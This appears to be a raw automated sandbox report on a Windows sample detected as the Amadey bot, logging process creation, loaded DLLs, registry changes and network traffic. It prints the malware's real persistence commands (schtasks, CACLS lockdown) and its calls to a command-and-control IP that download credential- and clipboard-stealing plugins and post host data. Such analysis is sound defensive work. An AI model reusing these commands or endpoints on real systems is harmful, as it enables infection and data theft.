Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154
Source: unknown	TCP traffic detected without corresponding DNS query: 193.3.19.154

Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/cred64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154
Source: global traffic	HTTP traffic detected: GET /store/games/Plugins/clip64.dll HTTP/1.1Host: 193.3.19.154

Source: unknown

HTTP traffic detected: POST /store/games/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.3.19.154Content-Length: 88Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 76 73 3d 33 2e 38 30 26 73 64 3d 39 63 30 61 64 62 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 31 36 38 36 35 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=246122658369&vs=3.80&sd=9c0adb&os=1&bi=1&ar=1&pc=216865&un=user&dm=&av=13&lv=0&og=1

Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/Plugins/clip64.dll
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/Plugins/clip64.dllYS2
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/Plugins/cred64.dll
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/Plugins/cred64.dllx
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.php
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=N
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phpc
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phpd
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phpded
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phpe5a2ab05
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phppd
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phppdR
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.3.19.154/store/games/index.phpt

Source: Week13.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@26/6@0/1

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

File created: C:\Users\user\AppData\Roaming\006700e5a2ab05

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1252:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03

Source: C:\Users\user\Desktop\Week13.exe

File created: C:\Users\user\AppData\Local\Temp\cb7ae701b3

Jump to behavior

Source: Week13.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Week13.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Week13.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Week13.exe

ReversingLabs: Detection: 91%

Source: C:\Users\user\Desktop\Week13.exe

File read: C:\Users\user\Desktop\Week13.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Week13.exe "C:\Users\user\Desktop\Week13.exe"
Source: C:\Users\user\Desktop\Week13.exe	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe"
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "user:N"&&CACLS "oneetx.exe" /P "user:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "user:N"&&CACLS "..\cb7ae701b3" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe
Source: C:\Users\user\Desktop\Week13.exe	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "user:N"&&CACLS "oneetx.exe" /P "user:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "user:N"&&CACLS "..\cb7ae701b3" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\Desktop\Week13.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\Week13.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\Week13.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{515980c3-57fe-4c1e-a561-730dd256ab98}\InprocServer32

Jump to behavior

Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Week13.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Week13.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Week13.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: Week13.exe, oneetx.exe.0.dr

Source: Week13.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Week13.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Week13.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Week13.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Week13.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oneetx.exe PID: 6160, type: MEMORYSTR

Source: C:\Users\user\Desktop\Week13.exe

File created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:N"

Source: C:\Users\user\Desktop\Week13.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Window / User API: threadDelayed 6023			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Window / User API: threadDelayed 3869			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 6508	Thread sleep count: 6023 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 6508	Thread sleep time: -180690000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 2952	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 1252	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 6508	Thread sleep count: 3869 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe TID: 6508	Thread sleep time: -116070000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Week13.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@B
Source: Week13.exe, 00000000.00000003.2020280700.00000000011F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, oneetx.exe, 00000001.00000002.4482643286.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Week13.exe	Process created: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "user:N"&&CACLS "oneetx.exe" /P "user:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "user:N"&&CACLS "..\cb7ae701b3" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "oneetx.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\cb7ae701b3" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\cred64.dll VolumeInformation	Jump to behavior
